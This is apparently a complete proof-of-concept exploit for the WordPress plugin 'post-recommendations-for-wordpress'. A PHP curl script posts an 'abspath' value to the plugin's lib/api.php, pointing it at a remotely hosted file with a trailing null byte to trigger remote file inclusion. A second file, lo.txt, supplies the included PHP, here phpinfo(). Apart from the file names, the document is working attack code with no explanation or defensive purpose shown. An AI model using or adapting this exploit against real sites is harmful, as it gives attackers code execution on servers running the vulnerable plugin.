PostShell.php <?php $ch = curl_init("http://localhost/wordpress/wp-content/plugins/post-recommendations-for-wordpress/lib/api.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('abspath'=>"http://localhost/lo.txt\0")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> lo.txt <?php phpinfo(); ?>